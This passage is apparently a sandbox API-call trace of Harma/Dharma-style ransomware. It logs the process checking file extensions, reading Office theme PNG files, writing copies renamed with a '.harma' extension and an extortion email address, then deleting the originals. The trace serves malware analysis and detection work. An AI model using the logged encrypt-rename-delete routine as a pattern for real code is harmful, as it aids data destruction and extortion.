returned 4 [0059.643] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.643] lstrlenW (lpString=".docx") returned 5 [0059.643] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.643] lstrlenW (lpString=".pdf") returned 4 [0059.643] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.643] lstrlenW (lpString=".xls") returned 4 [0059.643] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.644] lstrlenW (lpString=".xlsx") returned 5 [0059.644] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.644] lstrlenW (lpString=".ppt") returned 4 [0059.644] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.644] lstrlenW (lpString=".zip") returned 4 [0059.644] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.644] lstrlenW (lpString=".rar") returned 4 [0059.644] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.644] lstrlenW (lpString=".bz2") returned 4 [0059.644] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.644] lstrlenW (lpString=".7z") returned 3 [0059.644] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.644] lstrlenW (lpString=".dbf") returned 4 [0059.644] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.644] lstrlenW (lpString=".1cd") returned 4 [0059.644] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.644] lstrlenW (lpString=".jpg") returned 4 [0059.644] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.644] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.645] lstrlenW (lpString=".doc") returned 4 [0059.645] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.645] lstrlenW (lpString=".docx") returned 5 [0059.645] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.645] lstrlenW (lpString=".pdf") returned 4 [0059.645] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.645] lstrlenW (lpString=".xls") returned 4 [0059.645] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.645] lstrlenW (lpString=".xlsx") returned 5 [0059.645] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.645] lstrlenW (lpString=".ppt") returned 4 [0059.645] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.645] lstrlenW (lpString=".zip") returned 4 [0059.645] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.645] lstrlenW (lpString=".rar") returned 4 [0059.645] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.645] lstrlenW (lpString=".bz2") returned 4 [0059.645] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.645] lstrlenW (lpString=".7z") returned 3 [0059.645] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.645] lstrlenW (lpString=".dbf") returned 4 [0059.645] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.645] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.645] lstrlenW (lpString=".1cd") returned 4 [0059.646] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.646] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\IRIS\\THMBNAIL.PNG") returned 73 [0059.646] lstrlenW (lpString=".jpg") returned 4 [0059.646] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.646] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0059.646] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0059.646] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0059.735] GetFileSizeEx (in: hFile=0x1ec, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=18413) returned 1 [0059.735] CloseHandle (hObject=0x1ec) returned 1 [0059.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 0x20 [0059.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0059.746] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1ec [0059.746] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.755] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.755] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0059.770] GetLastError () returned 0x0 [0059.770] ReadFile (in: hFile=0x1ec, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x47ed, lpOverlapped=0x0) returned 1 [0059.780] WriteFile (in: hFile=0x170, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x47f0, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x47f0, lpOverlapped=0x0) returned 1 [0059.782] ReadFile (in: hFile=0x1ec, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0059.782] WriteFile (in: hFile=0x170, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0059.782] SetEndOfFile (hFile=0x170) returned 1 [0059.782] CloseHandle (hObject=0x170) returned 1 [0059.782] SetFilePointerEx (in: hFile=0x1ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0059.782] SetEndOfFile (hFile=0x1ec) returned 1 [0059.783] CloseHandle (hObject=0x1ec) returned 1 [0059.784] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0059.784] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\journal\\thmbnail.png")) returned 1 [0059.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.784] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.784] lstrlenW (lpString=".doc") returned 4 [0059.784] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.784] lstrlenW (lpString=".docx") returned 5 [0059.784] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.784] lstrlenW (lpString=".pdf") returned 4 [0059.784] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.784] lstrlenW (lpString=".xls") returned 4 [0059.785] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.785] lstrlenW (lpString=".xlsx") returned 5 [0059.785] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.785] lstrlenW (lpString=".ppt") returned 4 [0059.785] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.785] lstrlenW (lpString=".zip") returned 4 [0059.785] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.785] lstrlenW (lpString=".rar") returned 4 [0059.785] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.785] lstrlenW (lpString=".bz2") returned 4 [0059.785] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.785] lstrlenW (lpString=".7z") returned 3 [0059.785] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.785] lstrlenW (lpString=".dbf") returned 4 [0059.785] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.785] lstrlenW (lpString=".1cd") returned 4 [0059.785] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.785] lstrlenW (lpString=".jpg") returned 4 [0059.785] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.785] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.786] lstrlenW (lpString=".doc") returned 4 [0059.786] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0059.786] lstrlenW (lpString=".docx") returned 5 [0059.786] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0059.786] lstrlenW (lpString=".pdf") returned 4 [0059.786] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0059.786] lstrlenW (lpString=".xls") returned 4 [0059.786] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0059.786] lstrlenW (lpString=".xlsx") returned 5 [0059.786] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0059.786] lstrlenW (lpString=".ppt") returned 4 [0059.786] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0059.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.786] lstrlenW (lpString=".zip") returned 4 [0059.786] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0059.786] lstrlenW (lpString=".rar") returned 4 [0059.786] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0059.786] lstrlenW (lpString=".bz2") returned 4 [0059.786] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0059.786] lstrlenW (lpString=".7z") returned 3 [0059.786] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0059.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.786] lstrlenW (lpString=".dbf") returned 4 [0059.786] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0059.786] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.786] lstrlenW (lpString=".1cd") returned 4 [0059.786] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0059.787] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0059.787] lstrlenW (lpString=".jpg") returned 4 [0059.787] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0059.787] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0059.787] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0059.787] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0060.099] GetFileSizeEx (in: hFile=0x208, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=11573) returned 1 [0060.099] CloseHandle (hObject=0x208) returned 1 [0060.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 0x20 [0060.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x208 [0060.099] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.099] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.099] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0060.100] GetLastError () returned 0x0 [0060.100] ReadFile (in: hFile=0x208, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x2d35, lpOverlapped=0x0) returned 1 [0060.108] WriteFile (in: hFile=0x204, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x2d40, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x2d40, lpOverlapped=0x0) returned 1 [0060.110] ReadFile (in: hFile=0x208, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.110] WriteFile (in: hFile=0x204, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.110] SetEndOfFile (hFile=0x204) returned 1 [0060.110] CloseHandle (hObject=0x204) returned 1 [0060.111] SetFilePointerEx (in: hFile=0x208, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.111] SetEndOfFile (hFile=0x208) returned 1 [0060.112] CloseHandle (hObject=0x208) returned 1 [0060.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.112] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\network\\thmbnail.png")) returned 1 [0060.112] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.113] lstrlenW (lpString=".doc") returned 4 [0060.113] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.113] lstrlenW (lpString=".docx") returned 5 [0060.113] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.113] lstrlenW (lpString=".pdf") returned 4 [0060.113] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.113] lstrlenW (lpString=".xls") returned 4 [0060.113] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.113] lstrlenW (lpString=".xlsx") returned 5 [0060.113] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.113] lstrlenW (lpString=".ppt") returned 4 [0060.113] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.113] lstrlenW (lpString=".zip") returned 4 [0060.113] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.113] lstrlenW (lpString=".rar") returned 4 [0060.113] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.113] lstrlenW (lpString=".bz2") returned 4 [0060.113] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.113] lstrlenW (lpString=".7z") returned 3 [0060.113] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.113] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.113] lstrlenW (lpString=".dbf") returned 4 [0060.113] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.114] lstrlenW (lpString=".1cd") returned 4 [0060.114] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.114] lstrlenW (lpString=".jpg") returned 4 [0060.114] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.114] lstrlenW (lpString=".doc") returned 4 [0060.114] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0060.114] lstrlenW (lpString=".docx") returned 5 [0060.114] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0060.114] lstrlenW (lpString=".pdf") returned 4 [0060.114] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0060.114] lstrlenW (lpString=".xls") returned 4 [0060.114] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0060.114] lstrlenW (lpString=".xlsx") returned 5 [0060.114] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0060.114] lstrlenW (lpString=".ppt") returned 4 [0060.114] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0060.114] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.114] lstrlenW (lpString=".zip") returned 4 [0060.114] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0060.114] lstrlenW (lpString=".rar") returned 4 [0060.115] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0060.115] lstrlenW (lpString=".bz2") returned 4 [0060.115] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0060.115] lstrlenW (lpString=".7z") returned 3 [0060.115] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0060.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.115] lstrlenW (lpString=".dbf") returned 4 [0060.115] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0060.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.115] lstrlenW (lpString=".1cd") returned 4 [0060.115] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0060.115] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\NETWORK\\THMBNAIL.PNG") returned 76 [0060.115] lstrlenW (lpString=".jpg") returned 4 [0060.115] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0060.115] lstrcmpiW (lpString1=".PNG", lpString2=".harma") returned 1 [0060.115] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0060.115] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.450] GetFileSizeEx (in: hFile=0x164, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=37112) returned 1 [0060.450] CloseHandle (hObject=0x164) returned 1 [0060.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 0x20 [0060.453] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0060.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x164 [0060.453] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.453] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.453] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0060.454] GetLastError () returned 0x0 [0060.454] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x90f8, lpOverlapped=0x0) returned 1 [0060.456] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0x9100, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0x9100, lpOverlapped=0x0) returned 1 [0060.458] ReadFile (in: hFile=0x164, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0060.458] WriteFile (in: hFile=0x1d0, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xec, lpOverlapped=0x0) returned 1 [0060.458] SetEndOfFile (hFile=0x1d0) returned 1 [0060.458] CloseHandle (hObject=0x1d0) returned 1 [0060.458] SetFilePointerEx (in: hFile=0x164, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0060.459] SetEndOfFile (hFile=0x164) returned 1 [0060.460] CloseHandle (hObject=0x164) returned 1 [0060.460] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0060.460] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\thmbnail.png")) returned 1 [0060.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\THMBNAIL.PNG") returned 73 [0060.460] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft 